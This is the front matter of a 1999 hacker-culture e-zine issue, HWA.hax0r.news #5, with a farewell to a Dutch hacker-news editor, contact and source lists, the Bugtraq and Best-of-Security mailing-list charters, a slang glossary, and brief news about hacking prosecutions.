home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / HWA-hn5.txt < prev    next >
Encoding:
Text File  |  1999-03-24  |  183.2 KB  |  4,162 lines

  1.     [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
  2.   =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
  3.   ==========================================================================
  4.   =                     <=-[ HWA.hax0r.news ]-=>                           =
  5.   ==========================================================================
  6.     [=HWA'99=]                                Number 5 Volume 1 1999 Feb 99
  7.   ==========================================================================
  8.  
  9.       "Farewell to Bikkel and demoniz issue ... we'll all miss you..." 
  10.                                                        - Ed
  11.                                                        
  12.    Synopsis
  13.    --------     
  14.    
  15.    The purpose of this newsletter is to 'digest' current events of interest
  16.    that affect the online underground and netizens in general. This includes
  17.    coverage of general security issues, hacks, exploits, underground news
  18.    and anything else I think is worthy of a look see.
  19.  
  20.     This list is NOT meant as a replacement for, nor to compete with, the
  21.    likes of publications such as CuD or PHRACK or with news sites such as
  22.    AntiOnline, the Hacker News Network (HNN) or mailing lists such as
  23.    BUGTRAQ or ISN nor could any other 'digest' of this type do so.
  24.  
  25.     It *is* intended  however, to  compliment such material and provide a
  26.    reference to those who follow the culture by keeping tabs on as many
  27.    sources as possible and providing links to further info, its a labour
  28.    of love and will be continued for as long as I feel like it, i'm not
  29.    motivated by dollars or the illusion of fame, did you ever notice how
  30.    the most famous/infamous hackers are the ones that get caught? there's
  31.    a lot to be said for remaining just outside the circle... <g>
  32.  
  33.  
  34.    @HWA
  35.    
  36.    ------------------------------------------------------------------------- 
  37.   
  38.                      Welcome to HWA.hax0r.news ... #5
  39.                      
  40.    ------------------------------------------------------------------------- 
  41.    
  42.   Issue #5 early release, Feb 8th 1999                        What, me worry?
  43.   
  44.   Issue #6 will be released Feb 13th 1999 as we move towards a weekly release
  45.   schedule ...
  46.   
  47.  
  48.   _____/[ INDEX ]\___________________________________________________________         
  49.  
  50.     Key     Content
  51.   ---------------------------------------------------------------------------    
  52.   
  53.     0.0  .. COPYRIGHTS 
  54.     0.1  .. CONTACT INFORMATION & SNAIL MAIL DROP ETC
  55.     0.2  .. SOURCES        
  56.     0.3  .. THIS IS WHO WE ARE
  57.     0.4  .. WHAT'S IN A NAME? why `HWA.hax0r.news'?
  58.     0.5  .. THE HWA_FAQ V1.0 
  59.     
  60.  ----------------------------------------------------------------------------    
  61.     A.A  .. Bikkel is no more, demoniz quits the news scene.
  62.     1.0  .. Greets
  63.     1.1  .. Last minute stuff, rumours, newsbytes, mailbag
  64.     2.0  .. From the editor
  65.     2.1  .. POWAR? - "Knowledge may be POWER but POWAR is knowledge"
  66.     3.0  .. INFOSEC World
  67.     4.0  .. DEFCON 7
  68.     5.0  .. Hackertown
  69.     6.0  .. Yet more MSIE bugs
  70.     6.1  .. Not to be outdone, NETSCAPE bugs ...
  71.     7.0  .. The Datalynx hole
  72.     8.0  .. Mailzone, latest exploits and etc from Bugtraq+ traffic
  73.     9.0  .. Off The Hook Off The Air?
  74.    10.0  .. The Caligula Virus
  75.    11.0  .. Unphamiliar Territory, 10 yrs of hacker culture immortalized
  76.     H.W  .. Hacked Websites 
  77.     A.0  .. APPENDICES  
  78.     A.1  .. PHACVW linx and references 
  79.  
  80.   ---------------------------------------------------------------------------
  81.  
  82.      @HWA'98/99                 
  83.      
  84.      
  85.   A.A 100% Bikkel is no more
  86.       ~~~~~~~~~~~~~~~~~~~~~~     
  87.       
  88.       The End
  89.       update by demoniz at Feb 5 , 12:45 CET
  90.     
  91.       This will come, without doubt, as a surprise to you, 100 % Pure Bikkel
  92.       quits. For a long time now I published daily news for the hacker scene,
  93.       several times a day, seven days a week. A typical example of a hobby
  94.       which got out of hand. A hobby which became a fulltime job. And a job
  95.       which gave me a lot of recognition, but unfortunately didn't pay my bills.
  96.     
  97.       No I do not quit because there's little money coming in through this
  98.       site. Nor do I have financial difficulties. I quit because I want to. I want to
  99.       devote myself again to my other job, a freelance journalist here in the
  100.       Netherlands. I thought about this during my holiday and gave it some
  101.       more thought in the past weeks. It's a well thought-out, rational
  102.       decision.
  103.     
  104.       Sure I could reduce the number of updates. More time, no 'The End.' I
  105.       won't do it. I live by the motto: 'If you can't do it right, don't do it at all.'
  106.       News works in mysterious ways. It's time-independent. If there's news,
  107.       it has to be published immediate. Otherwise you'll behind the times. I
  108.       don't want that.
  109.     
  110.       It's time to move on. And that's what I'm about to do.
  111.     
  112.       Greetz to you all
  113.     
  114.       demoniz 
  115.       
  116.       Greets and thanks
  117.       update by demoniz at Feb 5 , 12:45 CET
  118.  
  119.       It wouldn't be possible to maintain this site without the help of all
  120.       contributors. I'd like to thank all of you for submitting news.
  121.       Without you there wouldn't be any news.
  122.  
  123.       There are some people who deserve some 'special' attention.
  124.  
  125.       Qubik: The man behind the show.
  126.  
  127.       Spikeman: Submitted on a regular base news. You rule.
  128.  
  129.       Space Rogue: Editor of HNN. Several breaking stories made you the man.
  130.  
  131.       Ken Williams: We all know Packet Storm Security and we all love it.
  132.  
  133.       splazzatch & loser: My favorite posters on the board.
  134.  
  135.       Iron-Lungs: Man, I wrote so much about you, you just have to be on this list :)
  136.  
  137.       cruciphux: Editor of hwa.hax0r.news. My favorite ezine. Damn funny.
  138.  
  139.       thejian: Just a cool guy who often gave me news.
  140.  
  141.       (Very likely that I forgot to mention someone, forgive me :) 
  142.  
  143.       
  144.       Goodbye
  145.       ~~~~~~~
  146.  
  147.       Thanks for the great site demoniz, best wishes and good luck with your other
  148.       "real" job, and we hope to see you "around" from time to time. - Cruciphux
  149.       and the staff of HWA.
  150.       
  151.       @HWA       
  152.  
  153.          
  154.   0.0  (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0
  155.        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  156.      
  157.      THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE
  158.      OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO
  159.      WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT
  160.      (LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST
  161.      READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ).
  162.      
  163.      Important semi-legalese and license to redistribute:
  164.      
  165.      YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF 
  166.      AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE
  167.      ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED 
  168.      IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE 
  169.      APPRECIATED the current link is http://welcome.to/HWA.hax0r.news
  170.      IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK
  171.      ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL
  172.      ME PRIVATELY current email cruciphux@dok.org 
  173.      
  174.      THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL
  175.      WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL
  176.      THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS:
  177.      
  178.      I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE
  179.      AND REDISTRIBUTE/MIRROR. - EoD
  180.    
  181.     
  182.      Although this file and all future issues are now copyright, some of
  183.     the content holds its  own copyright and these are printed and 
  184.     respected. News is news so i'll print any and all news but will quote 
  185.     sources when the source is known, if its good enough for CNN its good
  186.     enough for me. And i'm doing it for free on my own time so pfffft. :) 
  187.     
  188.     No monies are made or sought through the distribution of this material.
  189.     If you have a problem or concern email me and we'll discuss it.
  190.     
  191.     cruciphux@dok.org
  192.     
  193.     Cruciphux [C*:.]
  194.  
  195.       
  196.      
  197.   0.1  CONTACT INFORMATION AND MAIL DROP
  198.        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  199.      
  200.      Wahoo, we now have a mail-drop, if you are outside of the U.S.A or 
  201.     Canada / North America (hell even if you are inside ..) and wish to
  202.     send printed matter like newspaper clippings a subscription to your
  203.     cool foreign hacking zine or photos, small non-explosive packages
  204.     or sensitive information etc etc well, now you can. (w00t) please
  205.     no more inflatable sheep or plastic dog droppings, or fake vomit
  206.     thanks.
  207.     
  208.     Send all goodies to:
  209.     
  210.         HWA NEWS
  211.         P.O BOX 44118
  212.         370 MAIN ST. NORTH
  213.         BRAMPTON, ONTARIO
  214.         CANADA
  215.         L6V 4H5
  216.         
  217.     Ideas for interesting 'stuff' to send in apart from news:
  218.     
  219.     - Photo copies of old system manual front pages (signed by you) ;-)
  220.     - Photos of yourself, your mom, sister, dog and or cat in a NON
  221.       compromising position plz I don't want pr0n. <g>
  222.     - Picture postcards
  223.     - CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250
  224.       tapes with hack/security related archives, logs, irc logs etc on em.
  225.     - audio or video cassettes of yourself/others etc of interesting phone
  226.       fun or social engineering examples or transcripts thereof.
  227.     
  228.     If you still can't think of anything you're probably not that interesting
  229.     a person after all so don't worry about it <BeG>  
  230.     
  231.     Our current email:
  232.     
  233.     Submissions/zine gossip.....: hwa@press.usmc.net
  234.     Private email to editor.....: cruciphux@dok.org
  235.     Distribution/Website........: sas72@usa.net
  236.  
  237.     @HWA
  238.  
  239.            
  240.     
  241.   0.2  Sources ***
  242.        ~~~~~~~~~~~     
  243.  
  244.      Sources can be some, all, or none of the following (by no means complete
  245.     nor listed in any degree of importance) Unless otherwise noted, like msgs
  246.     from lists or news from other sites, articles and information is compiled
  247.     and or sourced by Cruciphux no copyright claimed.
  248.  
  249.     HiR:Hackers Information Report... http://axon.jccc.net/hir/
  250.     News & I/O zine ................. http://www.antionline.com/
  251.     News/Hacker site................. http://www.bikkel.com/~demoniz/
  252.     News (New site unconfirmed).......http://cnewz98.hypermart.net/
  253.     Back Orifice/cDc..................http://www.cultdeadcow.com/
  254.     News site (HNN/l0pht),............http://www.hackernews.com/
  255.     Help Net Security.................http://help.ims.hr
  256.     News,Advisories,++ ...............http://www.l0pht.com/
  257.     NewsTrolls (HNN)..................http://www.newstrolls.com/
  258.     News + Exploit archive ...........http://www.rootshell.com/beta/news.html
  259.     CuD ..............................http://www.soci.niu.edu/~cudigest
  260.     News site+........................http://www.zdnet.com/
  261.  
  262.     +Various mailing lists and some newsgroups, such as ...
  263.  
  264.     http://www.the-project.org/ .. IRC list/admin archives
  265.     http://www.anchordesk.com/  .. Jesse Berst's AnchorDesk
  266.     
  267.     alt.hackers.malicious
  268.     alt.hackers
  269.     alt.2600
  270.     BUGTRAQ
  271.     ISN security mailing list
  272.     ntbugtraq
  273.     <+others>
  274.  
  275.     NEWS Agencies, News search engines etc:
  276.     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  277.     http://www.cnn.com/SEARCH/
  278.     http://www.foxnews.com/search/cgi-bin/search.cgi?query=cracker&days=0&wires=0&startwire=0
  279.     http://www.news.com/Searching/Results/1,18,1,00.html?querystr=cracker
  280.     http://www.ottawacitizen.com/business/
  281.     http://search.yahoo.com.sg/search/news_sg?p=cracker
  282.     http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=cracker
  283.     http://www.zdnet.com/zdtv/cybercrime/
  284.     http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column)
  285.  
  286.     NOTE: See appendices for details on other links.
  287.     
  288.     Referenced news links
  289.     ~~~~~~~~~~~~~~~~~~~~~
  290.        
  291.     http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm
  292.     http://freespeech.org/eua/ Electronic Underground Affiliation
  293.     http://www.l0pht.com/cyberul.html     
  294.     http://www.hackernews.com/archive.html?122998.html
  295.  
  296.     ...
  297.     
  298.     
  299.     Submissions/Hints/Tips/Etc
  300.     ~~~~~~~~~~~~~~~~~~~~~~~~~~
  301.     All submissions that are `published' are printed with the credits
  302.     you provide, if no response is received by a week or two it is assumed
  303.     that you don't care wether the article/email is to be used in an issue
  304.     or not and may be used at my discretion.
  305.     
  306.     Looking for:
  307.     
  308.     Good news sites that are not already listed here OR on the HNN affiliates
  309.     page at http://www.hackernews.com/affiliates.html
  310.     
  311.     Magazines (complete or just the articles) of breaking sekurity or hacker
  312.     activity in your region, this includes telephone phraud and any other
  313.     technological use, abuse hole or cool thingy. ;-) cut em out and send it
  314.     to the drop box.
  315.     
  316.     
  317.     - Ed
  318.     
  319.     Mailing List Subscription Info   (Far from complete)         Feb 1999
  320.     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ~~~~~~~~~~~~~~~~~~~         ~~~~~~~~    
  321.         
  322.     ISS Security mailing list faq : http://www.iss.net/iss/maillist.html
  323.     
  324.     
  325.     THE MOST READ:
  326.     
  327.     BUGTRAQ - Subscription info
  328.     ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  329.     
  330.     What is Bugtraq?     
  331.  
  332.     Bugtraq is a full-disclosure UNIX security mailing list, (see the info
  333.     file) started by Scott Chasin <chasin@crimelab.com>. To subscribe to 
  334.     bugtraq, send mail to listserv@netspace.org containing the message body
  335.     subscribe bugtraq. I've been archiving this list on the web since late 
  336.     1993. It is searchable with glimpse and archived on-the-fly with hypermail.
  337.     
  338.     Searchable Hypermail Index;
  339.          
  340.           http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html
  341.     
  342.     
  343.         
  344.     About the Bugtraq mailing list
  345.     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  346.     
  347.     The following comes from Bugtraq's info file: 
  348.  
  349.     This list is for *detailed* discussion of UNIX security holes: what they are,
  350.     how to exploit, and what to do to fix them. 
  351.  
  352.     This list is not intended to be about cracking systems or exploiting their 
  353.     vulnerabilities. It is about defining, recognizing, and preventing use of 
  354.     security holes and risks. 
  355.  
  356.     Please refrain from posting one-line messages or messages that do not contain
  357.     any substance that can relate to this list`s charter. 
  358.  
  359.     I will allow certain informational posts regarding updates to security tools,
  360.     documents, etc. But I will not tolerate any unnecessary or nonessential "noise"
  361.     on this list. 
  362.  
  363.     Please follow the below guidelines on what kind of information should be posted
  364.     to the Bugtraq list: 
  365.  
  366.     + Information on Unix related security holes/backdoors (past and present) 
  367.     + Exploit programs, scripts or detailed processes about the above 
  368.     + Patches, workarounds, fixes 
  369.     + Announcements, advisories or warnings 
  370.     + Ideas, future plans or current works dealing with Unix security 
  371.     + Information material regarding vendor contacts and procedures 
  372.     + Individual experiences in dealing with above vendors or security organizations 
  373.     + Incident advisories or informational reporting 
  374.  
  375.     Any non-essential replies should not be directed to the list but to the originator of the message. Please do not "CC" the bugtraq
  376.     reflector address if the response does not meet the above criteria. 
  377.  
  378.     Remember: YOYOW. 
  379.  
  380.     You own your own words. This means that you are responsible for the words that you post on this list and that reproduction of
  381.     those words without your permission in any medium outside the distribution of this list may be challenged by you, the author. 
  382.  
  383.     For questions or comments, please mail me: 
  384.     chasin@crimelab.com (Scott Chasin) 
  385.  
  386.     
  387.     BEST-OF-SECURITY Subscription Info.
  388.     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  389.            
  390.     
  391.                     _/_/_/          _/_/          _/_/_/
  392.                    _/    _/      _/    _/      _/
  393.                   _/_/_/        _/    _/        _/_/
  394.                  _/    _/      _/    _/            _/
  395.                 _/_/_/          _/_/        _/_/_/
  396.  
  397.                 Best            Of          Security
  398.  
  399.     "echo subscribe|mail best-of-security-request@suburbia.net"
  400.  
  401.                                 or
  402.  
  403.     "echo subscribe|mail best-of-security-request-d@suburbia.net"
  404.  
  405.                           (weekly digest)
  406.  
  407.     REASONS FOR INCEPTION
  408.     ---------------------
  409.  
  410.     In order to compile the average security administrator, it was found
  411.     that the compiler had to parse a foreboding number of exceptionally
  412.     noisy and semantically devoid data sets.  This typically resulted in
  413.     dramatically high load averages and a frightening increase in core
  414.     entropy.
  415.  
  416.     Further, the number, names and locations of required datum seem to
  417.     change on an almost daily basis; requiring tedious version control
  418.     on the part of the mental maintainer.
  419.  
  420.  
  421.    OVERVIEW
  422.    ---------
  423.  
  424.     Best-of-Security is at presently moderated randomly based on a
  425.     cryptographically secure RNG. Bizarre? Sound strange given our
  426.     stated purpose of massive entropy reduction? Because best often
  427.     equates with "vital" and the moderator doesn't have an MDA habit it
  428.     is important that material sent to this list be delivered to its
  429.     subscribers' in as minimal period of time as is (in)humanly
  430.     possible. [ Actually, that isn't the only reason; following the
  431.     Prodigy liability verdict, content-active moderators were found to
  432.     have the legal burdens of regular publishers. BOS gets some dubious
  433.     people posting very interesting things from undisclosed sources.
  434.     -Mod ]
  435.  
  436.     If you find information from *any* source (including other
  437.     mailinglists, newsgroups, conference notes, papers, etc) that fits
  438.     into one of the acceptable categories described at the end of this
  439.     document then you should *immediately* send it to
  440.     "best-of-security@suburbia.net". Do not try and predict whether or
  441.     not someone else will send the item in question to the list in the
  442.     immediate future. Unless your on a time-delayed mail vector such as
  443.     polled uucp or the item has already appeared on best-of-security,
  444.     mail the info to the list!  Even if it is a widely deployed piece of
  445.     information such as a CERT advisory the proceeding argument still
  446.     applies. If the information hasn't appeared on this list yet, then
  447.     SEND IT.  It is far better to run the risk of minor duplication in
  448.     exchange for having the information out where it is needed than act
  449.     conservatively about occasional doubling up on content.
  450.  
  451.     We do, of course take original posts. In the famous last words of
  452.     Marylin Munroe, CORE Digest and Joachim Kroll: "meat, we want meat".
  453.  
  454.     Consult the below lists for what we will and will not accept. 
  455.  
  456.     WILL WILL WILL WILL                             WONT WONT WONT WONT
  457.     DO   DO   DO   DO                               DONT DONT DONT DONT
  458.     -------------------                             -------------------
  459.     8lgm, cert, ciac, dod and other                 Any flames.
  460.     non-vendor advisories.                          Any questions.
  461.     Vendor advisories of security                   Any rumors.
  462.     weaknesses in own or other products.            Sigs with >2 lines of
  463.     Vendor new security-product line                commercial information.
  464.     release or MAJOR upgrade.                       Minor upgrade information.
  465.     Fully disclosed security weaknesses.            "there is a hole in X"
  466.     Exploitation details.                           Any advertising.
  467.     Exploitation code.                              Subscription, unsubscription or
  468.     Patch code.                                     mailing list queries.
  469.     Patch announcements.                            Any requests.
  470.     Hard to obtain or otherwise occulted            Vague or incomprehensible
  471.     source code or uuencoded executables.           statements of dysfuctional
  472.     Conference announcements.                       persons.
  473.     Security tools.                                 Opinionated rantings such as
  474.     Blond jokes.                                    those on the ethics of full
  475.     NEW or hard to obtain security                  disclosure or computer hackers.
  476.     documents (ascii), or pointers to               Quotes from the Uliad.
  477.     the location of such documents/papers.          Old or otherwise well known
  478.     Announcements of new security archives          information or pointers to
  479.     or mailinglists.                                that information.
  480.     Human language translations of the above.       Messages under 700 bytes.
  481.     
  482.     SUBSCRIBING
  483.     -----------
  484.     
  485.     Send mail to: 
  486.     
  487.             best-of-security-request@suburbia.net
  488.     or
  489.             best-of-security-request-d@suburbia.net (digest)
  490.     
  491.     with the subject or body of:
  492.     
  493.             subscribe
  494.     
  495.     UN-SUBSCRIBING
  496.     -------------
  497.     
  498.     Send mail to:
  499.     
  500.             best-of-security-request@suburbia.net
  501.     or
  502.             best-of-security-request-d@suburbia.net (digest)
  503.     
  504.     with the subject or body:
  505.     
  506.             unsubscribe
  507.     
  508.     POSTING
  509.     -------
  510.     
  511.     To send a message to the list, address it to:
  512.     
  513.             best-of-security@suburbia.net
  514.     
  515.     ARCHIVES
  516.     --------
  517.     
  518.     Back issues of best-of-security digest are available from:
  519.     
  520.             ftp://suburbia.net/pub/mailinglists/best-of-security
  521.     
  522.     You can also instruct the mailing list processor to automatically scan and
  523.     retrive messages from the archive. It understands the following commands:
  524.     
  525.             get filename ...
  526.             ls directory ...
  527.             egrep case_insensitive_regular_expression filename ...
  528.             maxfiles nnn
  529.             version
  530.     
  531.             Aliases for 'get': send, sendme, getme, gimme, retrieve, mail
  532.             Aliases for 'ls': dir, directory, list, show
  533.             Aliases for 'egrep': search, grep, fgrep, find
  534.     
  535.             Lines starting with a '#' are ignored.
  536.             Multiple commands per mail are allowed.
  537.             Setting maxfiles to zero will remove the limit (to protect you against
  538.             yourself no more than maxfiles files will be returned per request).
  539.             Egrep supports most common flags.
  540.     
  541.             Examples:
  542.             ls latest (the latest directory containes the archived messages)
  543.             get latest/12
  544.             egrep some.word latest/*
  545.     
  546.     TECHNICAL
  547.     ---------
  548.     
  549.     The list processor software is based on the excellent Procmail/Smartlist
  550.     by Stephen R. van den Berg  with
  551.     some minor extensions by Julian Assange .
  552.     
  553.   --
  554.   "I mean, after all;  you have to consider we're only made out of dust.  That's
  555.    admittedly not  much  to  go  on  and  we  shouldn't  forget  that.  But even
  556.    considering, I mean it's sort of a bad beginning, we're not doing too bad. So
  557.    I personally have faith that even in this lousy situation we're faced with we
  558.    can make it. You get me?" - Leo Burlero/PKD
  559.   +---------------------+--------------------+----------------------------------+
  560.   |Julian Assange RSO   | PO Box 2031 BARKER | Secret Analytic Guy Union        |
  561.   |proff@suburbia.net   | VIC 3122 AUSTRALIA | finger for PGP key hash ID =     |
  562.   |proff@gnu.ai.mit.edu | FAX +61-3-98199066 | 0619737CCC143F6DEA73E27378933690 |
  563.   +---------------------+--------------------+----------------------------------+
  564.     
  565.  
  566.  
  567.     @HWA
  568.     
  569.      
  570.   0.3  THIS IS WHO WE ARE 
  571.        ~~~~~~~~~~~~~~~~~~
  572.       
  573.       Legacy staff
  574.       ~~~~~~~~~~~~    
  575.       sas72@usa.net ............. currently active
  576.       cruciphux@dok.org.......... currently active 
  577.       
  578.       Foreign Correspondants
  579.       ~~~~~~~~~~~~~~~~~~~~~~
  580.        N0Portz ..........................: Australia
  581.        Qubik ............................: United Kingdom
  582.        system error .....................: Indonesia
  583.        Wile (wile coyote) ...............: Japan/the East 
  584.    
  585.     :-p  
  586.     
  587.     
  588.     1. We do NOT work for the government in any shape or form.
  589.      
  590.     2. Unchanged since issue #1,
  591.         
  592.     
  593.     @HWA
  594.     
  595.     
  596.  
  597.   0.4  Whats in a name? why HWA.hax0r.news??
  598.        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  599.      
  600.       Well what does HWA stand for? never mind if you ever find out I may
  601.      have to get those hax0rs from 'Hackers' or the Pretorians after you.
  602.      
  603.      In case you couldn't figure it out hax0r is "new skewl" and although
  604.      it is laughed at, shunned, or even pidgeon holed with those 'dumb
  605.      leet (l33t?) dewds' <see article in issue #4> this is the state
  606.      of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you 
  607.      up  and comers, i'd highly recommend you get that book. Its almost 
  608.      like  buying a clue. Anyway..on with the show .. - Editorial staff
  609.      
  610.  
  611.    
  612.  
  613.   0.5  HWA FAQ v1.0 Dec 31st 1998/1999 (Abridged)
  614.        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  615.     
  616.     Also released in issue #3. (unchanged) check that issue for the faq
  617.     it won't be reprinted unless changed in a big way with the exception
  618.     of the following excerpt from the FAQ, included to assist first time
  619.     readers:
  620.  
  621.     Some of the stuff related to personal useage and use in this zine are
  622.     listed below: Some are very useful, others attempt to deny the any possible
  623.     attempts at eschewing obfuscation by obsucuring their actual definitions.
  624.       
  625.     !=   - Mathematical notation "is not equal to" or "does not equal"
  626.            ASC(247)  "wavey equals" sign means "almost equal" to. If written
  627.            an =/= (equals sign with a slash thru it) also means !=, =< is Equal
  628.            to or less than and =>  is equal to or greater than (etc, this aint 
  629.            fucking grade school, cripes, don't believe I just typed all that..)      
  630.     AAM  - Ask a minor (someone under age of adulthood, usually <16, <18 or <21)
  631.    *AOL  - A great deal of people that got ripped off for net access by a huge
  632.            clueless isp with sekurity that you can drive buses through, we're
  633.            not talking Kung-Fu being no good here, Buy-A-Kloo maybe?
  634.     EoC  - End of Commentary
  635.     EoA  - End of Article 
  636.     EoF  - End of file
  637.     EoD  - End of diatribe (AOL'ers: look it up)
  638.     CC   - Credit Card phraud
  639.     CCC  - Chaos Computer Club (Germany)
  640.     NFC  - Depends on context: No Further Comment or No Fucking Comment
  641.     NFR  - Network Flight Recorder (Do a websearch)
  642.     PHAC - And variations of same <coff> 
  643.            Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare
  644.           
  645.           Alternates: H - hacking, hacktivist
  646.                       C - Cracking <software>
  647.                       C - Cracking <systems hacking>
  648.                       W - Warfare <cyberwarfare usually as in Jihad>
  649.                       CT - Cyber Terrorism
  650.     TBC - To Be Continued also 2bc (usually followed by ellipses...) :^0
  651.     TBA - To Be Arranged/To Be Announced also 2ba
  652.     TFS - Tough fucking shit.
  653.     
  654.     
  655.         "At least we know for sure which *century* Windows 2000 
  656.          (aka NT Workstation 5.0) will ship in.." 
  657.                                               - Ed     
  658.  
  659.  
  660.   1.0  Greets!?!?! yeah greets! w0w huh. - Ed
  661.        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  662.      
  663.      Thanks to all in the community for their support and interest but i'd
  664.      like to see more reader input, help me out here, whats good, what sucks
  665.      etc, not that I guarantee i'll take any notice mind you, but send in 
  666.      your thoughts anyway.
  667.      
  668.      
  669.      Shouts to:
  670.  
  671.        * Kevin Mitnick       * demoniz          * The l0pht crew
  672.        * tattooman           * Dicentra         * Pyra          
  673.        * Vexxation           * FProphet         * TwistedP      
  674.        * NeMstah             * the readers
  675.      
  676.        * all the people who sent in cool emails and support
  677.        * our new 'staff' members.
  678.      
  679.   
  680.      kewl sites:
  681.      
  682.      + http://www.freshmeat.net/
  683.      + http://www.slashdot.org/
  684.      + http://www.l0pht.com/
  685.      + http://www.2600.com/
  686.      + http://hacknews.bikkel.com/ (http://www.bikkel.com/~demoniz/)
  687.      + http://www.legions.org/
  688.      + http://www.genocide2600.com/      
  689.      + http://www.genocide2600.com/~tattooman/     
  690.      + http://www.hackernews.com/ (Went online same time we started issue 1!)          
  691.    
  692.      @HWA
  693.      
  694.  
  695.   1.1  Last minute stuff, rumours and newsbytes
  696.        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  697.  
  698.      +++ When was the last time you backed up your important data?
  699.      
  700.      
  701.      ++ Wired: Federal judge allows Sony Playstation clone software by Connectix
  702.         to continue shipping ...      
  703.         http://www.wired.com/news/news/email/explode-infobeat/politics/story/17753.html
  704.  
  705.      ++ Wired: Credit Fixing fraud used the internet to scam methods involving
  706.         fake id and various scams to secure credit... interesting read for the social
  707.         engineering / fake id fans .. 
  708.         http://www.wired.com/news/news/email/explode-infobeat/politics/story/17701.html
  709.         
  710.      ++ Yahoo: AFA Cadet Charged With Hacking - (COLORADO SPRINGS) -- Another Air Force
  711.        Academy cadet is in trouble... charged with hacking into the computers of three 
  712.        private companies and causing more than 40-thousand dollars in damage. 21 yr-old
  713.        Christopher Wiest... a junior at the Academy near Colorado Springs... faces up to 
  714.                                                                              ~~~~~~~~~~~
  715.        15 and a half years in federal prison, and a discharge from the service if he is 
  716.        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  717.        found guilty on court-martial charges. Air Force officials say the Wiest case is 
  718.        the first case of computer hacking to reach court-martial in that branch of 
  719.        military service. Attorneys for Wiest say the Air Force has the wrong man. Wiest
  720.        is from Pittsburgh, Pennsylvania. His court-martial could begin as early as next
  721.        month. Last week, the Air Force Academy announced it was investigating a handful
  722.        of cadets for mail theft. That investigation is still underway. 
  723.        
  724.        http://dailynews.yahoo.com/headlines/local/state/colorado/story.html?s=v/rs/19990203/co/index_2.html#2
  725.        
  726.      ++ HNN/WCCO Assoc.Press
  727.         
  728.       'Local Computer Hacker Hits In South University of Arkansas Believes Passwords Stolen'
  729.  
  730.       ".. Police said the hacker has invaded computers in at least five states and
  731.       likely faces federal charges..." 
  732.  
  733.       "The breach was discovered Jan. 21. The university found evidence the
  734.        system may have been first hacked in November...The university is plugging
  735.        holes in its computer system to prevent other hackers from gaining access. "
  736.  
  737.       via HNN/Associated Press (c) 1999                                    
  738.       WCCO:  http://www.wcco.com/news/stories/news-990205-213944.html
  739.    
  740.   2.0  From the editor.
  741.        ~~~~~~~~~~~~~~~~
  742.  
  743.      #include <stdio.h>
  744.      #include <stupid.h>
  745.      #include <backup.h>
  746.  
  747.      main()
  748.      {
  749.       printf ("Read commented source!\n\n");
  750.       
  751.      /*             
  752.       *  We all gno that its not a matter of IF your system is going to
  753.       *fail but a question of WHEN. Thats what MTBF stands for, mean time
  754.       *between failure. All hardware fails. Wetware should know that hw 
  755.       *fails and compensate for it. My wetware failed to follow this rule &
  756.       *as a result I lost weeks of work. Lazyness? yeah. stupid fuck? you
  757.       *bet your ass I feel stupid. Anyway the rule is, back-up backup some
  758.       *more, then backup again. If a guy who's been around the block as many
  759.       *times as I have can be bitten on the ass it can happen to you too.
  760.       *Nuff'said, lecture over, I remain yours in ignorance, Cruciphux.
  761.       *
  762.       */
  763.       printf ("EoF.\n");
  764.       }
  765.  
  766.  
  767.       Issue #5! ... have at it ...
  768.      
  769.      
  770.       Congrats, thanks, articles, news submissions and kudos to us at the
  771.      main address: hwa@press.usmc.net complaints and all nastygrams and 
  772.      mailbombs can go to /dev/nul nukes, synfloods and papasmurfs to 
  773.      127.0.0.1, private mail to cruciphux@dok.org
